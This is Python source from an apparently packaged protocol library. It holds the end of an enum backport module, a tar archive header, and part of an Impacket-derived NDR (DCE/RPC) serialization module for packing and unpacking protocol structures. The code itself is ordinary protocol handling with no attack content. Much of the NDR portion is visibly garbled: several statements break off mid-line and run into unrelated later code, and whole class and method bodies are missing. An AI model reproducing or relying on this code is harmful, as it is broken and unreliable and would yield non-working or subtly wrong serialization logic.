_find_new_(classdict, member_type, first_enum): """Returns the __new__ to be used for creating the enum members. classdict: the class dictionary given to __new__ member_type: the data type whose __new__ will be used by default first_enum: enumeration to check for an overriding __new__ """ # now find the correct __new__, checking to see of one was defined # by the user; also check earlier enum classes in case a __new__ was # saved as __member_new__ __new__ = classdict.get('__new__', None) if __new__: return None, True, True # __new__, save_new, use_args N__new__ = getattr(None, '__new__') O__new__ = getattr(object, '__new__') if Enum is None: E__new__ = N__new__ else: E__new__ = Enum.__dict__['__new__'] # check all possibles for __member_new__ before falling back to # __new__ for method in ('__member_new__', '__new__'): for possible in (member_type, first_enum): try: target = possible.__dict__[method] except (AttributeError, KeyError): target = getattr(possible, method, None) if target not in [ None, N__new__, O__new__, E__new__, ]: if method == '__member_new__': classdict['__new__'] = target return None, False, True if isinstance(target, staticmethod): target = target.__get__(member_type) __new__ = target break if __new__ is not None: break else: __new__ = object.__new__ # if a non-object.__new__ is used then whatever value/tuple was # assigned to the enum member name will be passed to __new__ and to the # new enum member's __init__ if __new__ is object.__new__: use_args = False else: use_args = True return __new__, False, use_args else: @staticmethod def _find_new_(classdict, member_type, first_enum): """Returns the __new__ to be used for creating the enum members. classdict: the class dictionary given to __new__ member_type: the data type whose __new__ will be used by default first_enum: enumeration to check for an overriding __new__ """ # now find the correct __new__, checking to see of one was defined # by the user; also check earlier enum classes in case a __new__ was # saved as __member_new__ __new__ = classdict.get('__new__', None) # should __new__ be saved as __member_new__ later? save_new = __new__ is not None if __new__ is None: # check all possibles for __member_new__ before falling back to # __new__ for method in ('__member_new__', '__new__'): for possible in (member_type, first_enum): target = getattr(possible, method, None) if target not in ( None, None.__new__, object.__new__, Enum.__new__, ): __new__ = target break if __new__ is not None: break else: __new__ = object.__new__ # if a non-object.__new__ is used then whatever value/tuple was # assigned to the enum member name will be passed to __new__ and to the # new enum member's __init__ if __new__ is object.__new__: use_args = False else: use_args = True return __new__, save_new, use_args ######################################################## # In order to support Python 2 and 3 with a single # codebase we have to create the Enum methods separately # and then use the `type(name, bases, dict)` method to # create the class. ######################################################## temp_enum_dict = {} temp_enum_dict['__doc__'] = "Generic enumeration.\n\n Derive from this class to define new enumerations.\n\n" def __new__(cls, value): # all enum instances are actually created during class construction # without calling this method; this method is called by the metaclass' # __call__ (i.e. Color(3) ), and by pickle if type(value) is cls: # For lookups like Color(Color.red) value = value.value #return value # by-value search for a matching enum member # see if it's in the reverse mapping (for hashable values) try: if value in cls._value2member_map_: return cls._value2member_map_[value] except TypeError: # not there, now do long search -- O(n) behavior for member in cls._member_map_.values(): if member.value == value: return member raise ValueError("%s is not a valid %s" % (value, cls.__name__)) temp_enum_dict['__new__'] = __new__ del __new__ def __repr__(self): return "<%s.%s: %r>" % ( self.__class__.__name__, self._name_, self._value_) temp_enum_dict['__repr__'] = __repr__ del __repr__ def __str__(self): return "%s.%s" % (self.__class__.__name__, self._name_) temp_enum_dict['__str__'] = __str__ del __str__ def __dir__(self): added_behavior = [m for m in self.__class__.__dict__ if m[0] != '_'] return (['__class__', '__doc__', '__module__', 'name', 'value'] + added_behavior) temp_enum_dict['__dir__'] = __dir__ del __dir__ def __format__(self, format_spec): # mixed-in Enums should use the mixed-in type's __format__, otherwise # we can get strange results with the Enum name showing up instead of # the value # pure Enum branch if self._member_type_ is object: cls = str val = str(self) # mix-in branch else: cls = self._member_type_ val = self.value return cls.__format__(val, format_spec) temp_enum_dict['__format__'] = __format__ del __format__ #################################### # Python's less than 2.6 use __cmp__ if pyver < 2.6: def __cmp__(self, other): if type(other) is self.__class__: if self is other: return 0 return -1 return NotImplemented raise TypeError("unorderable types: %s() and %s()" % (self.__class__.__name__, other.__class__.__name__)) temp_enum_dict['__cmp__'] = __cmp__ del __cmp__ else: def __le__(self, other): raise TypeError("unorderable types: %s() <= %s()" % (self.__class__.__name__, other.__class__.__name__)) temp_enum_dict['__le__'] = __le__ del __le__ def __lt__(self, other): raise TypeError("unorderable types: %s() < %s()" % (self.__class__.__name__, other.__class__.__name__)) temp_enum_dict['__lt__'] = __lt__ del __lt__ def __ge__(self, other): raise TypeError("unorderable types: %s() >= %s()" % (self.__class__.__name__, other.__class__.__name__)) temp_enum_dict['__ge__'] = __ge__ del __ge__ def __gt__(self, other): raise TypeError("unorderable types: %s() > %s()" % (self.__class__.__name__, other.__class__.__name__)) temp_enum_dict['__gt__'] = __gt__ del __gt__ def __eq__(self, other): if type(other) is self.__class__: return self is other return NotImplemented temp_enum_dict['__eq__'] = __eq__ del __eq__ def __ne__(self, other): if type(other) is self.__class__: return self is not other return NotImplemented temp_enum_dict['__ne__'] = __ne__ del __ne__ def __getnewargs__(self): return (self._value_, ) temp_enum_dict['__getnewargs__'] = __getnewargs__ del __getnewargs__ def __hash__(self): return hash(self._name_) temp_enum_dict['__hash__'] = __hash__ del __hash__ # _RouteClassAttributeToGetattr is used to provide access to the `name` # and `value` properties of enum members while keeping some measure of # protection from modification, while still allowing for an enumeration # to have members named `name` and `value`. This works because enumeration # members are not set directly on the enum class -- __getattr__ is # used to look them up. @_RouteClassAttributeToGetattr def name(self): return self._name_ temp_enum_dict['name'] = name del name @_RouteClassAttributeToGetattr def value(self): return self._value_ temp_enum_dict['value'] = value del value Enum = EnumMeta('Enum', (object, ), temp_enum_dict) del temp_enum_dict # Enum has now been created ########################### class IntEnum(int, Enum): """Enum where members are also (and must be) ints""" def unique(enumeration): """Class decorator that ensures only unique members exist in an enumeration.""" duplicates = [] for name, member in enumeration.__members__.items(): if name != member.name: duplicates.append((name, member.name)) if duplicates: duplicate_names = ', '.join( ["%s -> %s" % (alias, name) for (alias, name) in duplicates] ) raise ValueError('duplicate names found in %r: %s' % (enumeration, duplicate_names) ) return enumeration././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1756987069.0 kerbad-0.5.10/kerbad/protocol/external/ndr.py0000777000175000000000000020031215056277275020216 0ustar00silverroot# Impacket - Collection of Python classes for working with network protocols. # # SECUREAUTH LABS. Copyright (C) 2020 SecureAuth Corporation. All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # # Description: # [C706] Transfer NDR Syntax implementation # # Author: # Alberto Solino (@agsolino) # # ToDo: # [X] Unions and rest of the structured types # [ ] Documentation for this library, especially the support for Arrays # from __future__ import division from __future__ import print_function import random import inspect from struct import pack, unpack_from, calcsize from six import with_metaclass, PY3 from kerbad import logger as LOG from kerbad.protocol.external.enum import Enum # Something important to have in mind: # Diagrams do not depict the specified alignment gaps, which can appear in the octet stream # before an item (see Section 14.2.2 on page 620.) # Where necessary, an alignment gap, consisting of octets of unspecified value, *precedes* the # representation of a primitive. The gap is of the smallest size sufficient to align the primitive class NDR(object): """ This will be the base class for all DCERPC NDR Types and represents a NDR Primitive Type """ referent = () commonHdr = () commonHdr64 = () structure = () structure64 = () align = 4 item = None _isNDR64 = False def __init__(self, data = None, isNDR64 = False): object.__init__(self) self._isNDR64 = isNDR64 self.fields = {} if isNDR64 is True: if self.commonHdr64 != (): self.commonHdr = self.commonHdr64 if self.structure64 != (): self.structure = self.structure64 if hasattr(self, 'align64'): self.align = self.align64 for fieldName, fieldTypeOrClass in self.commonHdr+self.structure+self.referent: if self.isNDR(fieldTypeOrClass): self.fields[fieldName] = fieldTypeOrClass(isNDR64 = self._isNDR64) elif fieldTypeOrClass == ':': self.fields[fieldName] = b'' elif len(fieldTypeOrClass.split('=')) == 2: try: self.fields[fieldName] = eval(fieldTypeOrClass.split('=')[1]) except: self.fields[fieldName] = None else: self.fields[fieldName] = [] if data is not None: self.fromString(data) def __setitem__(self, key, value): if isinstance(value, NDRPOINTERNULL): value = NDRPOINTERNULL(isNDR64 = self._isNDR64) if isinstance(self.fields[key], NDRPOINTER): self.fields[key] = value elif 'Data' in self.fields[key].fields: if isinstance(self.fields[key].fields['Data'], NDRPOINTER): self.fields[key].fields['Data'] = value elif isinstance(value, NDR): # It's not a null pointer, ok. Another NDR type, but it # must be the same same as the iteam already in place if self.fields[key].__class__.__name__ == value.__class__.__name__: self.fields[key] = value elif isinstance(self.fields[key]['Data'], NDR): if self.fields[key]['Data'].__class__.__name__ == value.__class__.__name__: self.fields[key]['Data'] = value else: LOG.error("Can't setitem with class specified, should be %s" % self.fields[key]['Data'].__class__.__name__) else: LOG.error("Can't setitem with class specified, should be %s" % self.fields[key].__class__.__name__) elif isinstance(self.fields[key], NDR): self.fields[key]['Data'] = value else: self.fields[key] = value def __getitem__(self, key): if isinstance(self.fields[key], NDR): if 'Data' in self.fields[key].fields: return self.fields[key]['Data'] return self.fields[key] def __str__(self): return self.getData() def __len__(self): # XXX: improve return len(self.getData()) def getDataLen(self, data, offset=0): return len(data) - offset @staticmethod def isNDR(field): if inspect.isclass(field): myClass = field if issubclass(myClass, NDR): return True return False def dumpRaw(self, msg = None, indent = 0): if msg is None: msg = self.__class__.__name__ ind = ' '*indent print("\n%s" % msg) for field in self.commonHdr+self.structure+self.referent: i = field[0] if i in self.fields: if isinstance(self.fields[i], NDR): self.fields[i].dumpRaw('%s%s:{' % (ind,i), indent = indent + 4) print("%s}" % ind) elif isinstance(self.fields[i], list): print("%s[" % ind) for num,j in enumerate(self.fields[i]): if isinstance(j, NDR): j.dumpRaw('%s%s:' % (ind,i), indent = indent + 4) print("%s," % ind) else: print("%s%s: {%r}," % (ind, i, j)) print("%s]" % ind) else: print("%s%s: {%r}" % (ind,i,self[i])) def dump(self, msg = None, indent = 0): if msg is None: msg = self.__class__.__name__ ind = ' '*indent if msg != '': print("%s" % msg, end=' ') for fieldName, fieldType in self.commonHdr+self.structure+self.referent: if fieldName in self.fields: if isinstance(self.fields[fieldName], NDR): self.fields[fieldName].dump('\n%s%-31s' % (ind, fieldName+':'), indent = indent + 4), else: print(" %r" % (self[fieldName]), end=' ') def getAlignment(self): return self.align @staticmethod def calculatePad(fieldType, soFar): if isinstance(fieldType, str): try: alignment = calcsize(fieldType.split('=')[0]) except: alignment = 0 else: alignment = 0 if alignment > 0: pad = (alignment - (soFar % alignment)) % alignment else: pad = 0 return pad def getData(self, soFar = 0): data = b'' for fieldName, fieldTypeOrClass in self.commonHdr+self.structure: try: # Alignment of Primitive Types # NDR enforces NDR alignment of primitive data; that is, any primitive of size n # octets is aligned at a octet stream index that is a multiple of n. # (In this version of NDR, n is one of {1, 2, 4, 8}.) An octet stream index indicates # the number of an octet in an octet stream when octets are numbered, beginning with 0, # from the first octet in the stream. Where necessary, an alignment gap, consisting of # octets of unspecified value, precedes the representation of a primitive. The gap is # of the smallest size sufficient to align the primitive. pad = self.calculatePad(fieldTypeOrClass, soFar) if pad > 0: soFar += pad data += b'\xbf'*pad res = self.pack(fieldName, fieldTypeOrClass, soFar) data += res soFar += len(res) except Exception as e: LOG.error(str(e)) LOG.error("Error packing field '%s | %s' in %s" % (fieldName, fieldTypeOrClass, self.__class__)) raise return data def fromString(self, data, offset=0): offset0 = offset for fieldName, fieldTypeOrClass in self.commonHdr+self.structure: try: # Alignment of Primitive Types # NDR enforces NDR alignment of primitive data; that is, any primitive of size n # octets is aligned at a octet stream index that is a multiple of n. # (In this version of NDR, n is one of {1, 2, 4, 8}.) An octet stream index indicates # the number of an octet in an octet stream when octets are numbered, beginning with 0, # from the first octet in the stream. Where necessary, an alignment gap, consisting of # octets of unspecified value, precedes the representation of a primitive. The gap is # of the smallest size sufficient to align the primitive. offset += self.calculatePad(fieldTypeOrClass, offset) offset += self.unpack(fieldName, fieldTypeOrClass, data, offset) except Exception as e: LOG.error(str(e)) LOG.error("Error unpacking field '%s | %s | %r'" % (fieldName, fieldTypeOrClass, data[offset:offset+256])) raise return offset - offset0 def pack(self, fieldName, fieldTypeOrClass, soFar = 0): if isinstance(self.fields[fieldName], NDR): return self.fields[fieldName].getData(soFar) data = self.fields[fieldName] # void specifier if fieldTypeOrClass[:1] == '_': return b'' # code specifier two = fieldTypeOrClass.split('=') if len(two) >= 2: try: return self.pack(fieldName, two[0], soFar) except: self.fields[fieldName] = eval(two[1], {}, self.fields) return self.pack(fieldName, two[0], soFar) if data is None: raise Exception('Trying to pack None') # literal specifier if fieldTypeOrClass[:1] == ':': if hasattr(data, 'getData'): return data.getData() return data # struct like specifier return pack(fieldTypeOrClass, data) def unpack(self, fieldName, fieldTypeOrClass, data, offset=0): if isinstance(self.fields[fieldName], NDR): return self.fields[fieldName].fromString(data, offset) # code specifier two = fieldTypeOrClass.split('=') if len(two) >= 2: return self.unpack(fieldName, two[0], data, offset) # literal specifier if fieldTypeOrClass == ':': if isinstance(fieldTypeOrClass, NDR): return self.fields[fieldName].fromString(data, offset) else: dataLen = self.getDataLen(data, offset) self.fields[fieldName] = data[offset:offset+dataLen] return dataLen # struct like specifier self.fields[fieldName] = unpack_from(fieldTypeOrClass, data, offset)[0] return calcsize(fieldTypeOrClass) def calcPackSize(self, fieldTypeOrClass, data): if isinstance(fieldTypeOrClass, str) is False: return len(data) # code specifier two = fieldTypeOrClass.split('=') if len(two) >= 2: return self.calcPackSize(two[0], data) # literal specifier if fieldTypeOrClass[:1] == ':': return len(data) # struct like specifier return calcsize(fieldTypeOrClass) def calcUnPackSize(self, fieldTypeOrClass, data, offset=0): if isinstance(fieldTypeOrClass, str) is False: return len(data) - offset # code specifier two = fieldTypeOrClass.split('=') if len(two) >= 2: return self.calcUnPackSize(two[0], data, offset) # array specifier two = fieldTypeOrClass.split('*') if len(two) == 2: return len(data) - offset # literal specifier if fieldTypeOrClass[:1] == ':': return len(data) - offset # struct like specifier return calcsize(fieldTypeOrClass) # NDR Primitives class NDRSMALL(NDR): align = 1 structure = ( ('Data', 'b=0'), ) class NDRUSMALL(NDR): align = 1 structure = ( ('Data', 'B=0'), ) class NDRBOOLEAN(NDRSMALL): def dump(self, msg = None, indent = 0): if msg is None: msg = self.__class__.__name__ if msg != '': print(msg, end=' ') if self['Data'] > 0: print(" TRUE") else: print(" FALSE") class NDRCHAR(NDR): align = 1 structure = ( ('Data', 'c'), ) class NDRSHORT(NDR): align = 2 structure = ( ('Data', ' 0: soFar += pad0 arrayPadding = b'\xef'*pad0 else: arrayPadding = b'' # And now, let's pretend we put the item in soFar += arrayItemSize data = self.fields[fieldName].getData(soFar) data = arrayPadding + pack(arrayPackStr, self.getArrayMaximumSize(fieldName)) + data else: pad = self.calculatePad(fieldTypeOrClass, soFar) if pad > 0: soFar += pad data += b'\xcc'*pad data += self.pack(fieldName, fieldTypeOrClass, soFar) # Any referent information to pack? if isinstance(self.fields[fieldName], NDRCONSTRUCTEDTYPE): data += self.fields[fieldName].getDataReferents(soFar0 + len(data)) data += self.fields[fieldName].getDataReferent(soFar0 + len(data)) soFar = soFar0 + len(data) except Exception as e: LOG.error(str(e)) LOG.error("Error packing field '%s | %s' in %s" % (fieldName, fieldTypeOrClass, self.__class__)) raise return data def calcPackSize(self, fieldTypeOrClass, data): if isinstance(fieldTypeOrClass, str) is False: return len(data) # array specifier two = fieldTypeOrClass.split('*') if len(two) == 2: answer = 0 for each in data: if self.isNDR(self.item): item = ':' else: item = self.item answer += self.calcPackSize(item, each) return answer else: return NDR.calcPackSize(self, fieldTypeOrClass, data) def getArrayMaximumSize(self, fieldName): if self.fields[fieldName].fields['MaximumCount'] is not None and self.fields[fieldName].fields['MaximumCount'] > 0: return self.fields[fieldName].fields['MaximumCount'] else: return self.fields[fieldName].getArraySize() def getArraySize(self, fieldName, data, offset=0): if self._isNDR64: arrayItemSize = 8 arrayUnPackStr = ' align: align = tmpAlign return align def getData(self, soFar = 0): data = b'' soFar0 = soFar for fieldName, fieldTypeOrClass in self.structure: try: if self.isNDR(fieldTypeOrClass) is False: # If the item is not NDR (e.g. ('MaximumCount', ' 0: soFar += pad data += b'\xca'*pad res = self.pack(fieldName, fieldTypeOrClass, soFar) data += res soFar = soFar0 + len(data) except Exception as e: LOG.error(str(e)) LOG.error("Error packing field '%s | %s' in %s" % (fieldName, fieldTypeOrClass, self.__class__)) raise return data def pack(self, fieldName, fieldTypeOrClass, soFar = 0): # array specifier two = fieldTypeOrClass.split('*') if len(two) == 2: answer = b'' if self.isNDR(self.item): item = ':' dataClass = self.item self.fields['_tmpItem'] = dataClass(isNDR64=self._isNDR64) else: item = self.item dataClass = None self.fields['_tmpItem'] = item for each in (self.fields[fieldName]): pad = self.calculatePad(self.item, len(answer)+soFar) if pad > 0: answer += b'\xdd' * pad if dataClass is None: if item == 'c' and PY3 and isinstance(each, int): # Special case when dealing with PY3, here we have an integer we need to convert each = bytes([each]) answer += pack(item, each) else: answer += each.getData(len(answer)+soFar) if dataClass is not None: for each in self.fields[fieldName]: if isinstance(each, NDRCONSTRUCTEDTYPE): answer += each.getDataReferents(len(answer)+soFar) answer += each.getDataReferent(len(answer)+soFar) del(self.fields['_tmpItem']) if isinstance(self, NDRUniConformantArray) or isinstance(self, NDRUniConformantVaryingArray): # First field points to a field with the amount of items self.setArraySize(len(self.fields[fieldName])) else: self.fields[two[1]] = len(self.fields[fieldName]) return answer else: return NDRCONSTRUCTEDTYPE.pack(self, fieldName, fieldTypeOrClass, soFar) def fromString(self, data, offset=0): offset0 = offset for fieldName, fieldTypeOrClass in self.commonHdr+self.structure: try: if self.isNDR(fieldTypeOrClass) is False: # If the item is not NDR (e.g. ('MaximumCount', ' 0: soFarItems +=pad if dataClassOrCode is None: nsofar = soFarItems + calcsize(item) answer.append(unpack_from(item, data, offset+soFarItems)[0]) else: itemn = dataClassOrCode(isNDR64=self._isNDR64) size = itemn.fromString(data, offset+soFarItems) answer.append(itemn) nsofar += size + pad numItems -= 1 soFarItems = nsofar if dataClassOrCode is not None and isinstance(dataClassOrCode(), NDRCONSTRUCTEDTYPE): # We gotta go over again, asking for the referents answer2 = [] for itemn in answer: size = itemn.fromStringReferents(data, soFarItems+offset) soFarItems += size size = itemn.fromStringReferent(data, soFarItems+offset) soFarItems += size answer2.append(itemn) answer = answer2 del answer2 del(self.fields['_tmpItem']) self.fields[fieldName] = answer return soFarItems + offset - offset0 else: return NDRCONSTRUCTEDTYPE.unpack(self, fieldName, fieldTypeOrClass, data, offset) class NDRUniFixedArray(NDRArray): structure = ( ('Data',':'), ) # Uni-dimensional Conformant Arrays class NDRUniConformantArray(NDRArray): item = 'c' structure = ( #('MaximumCount', '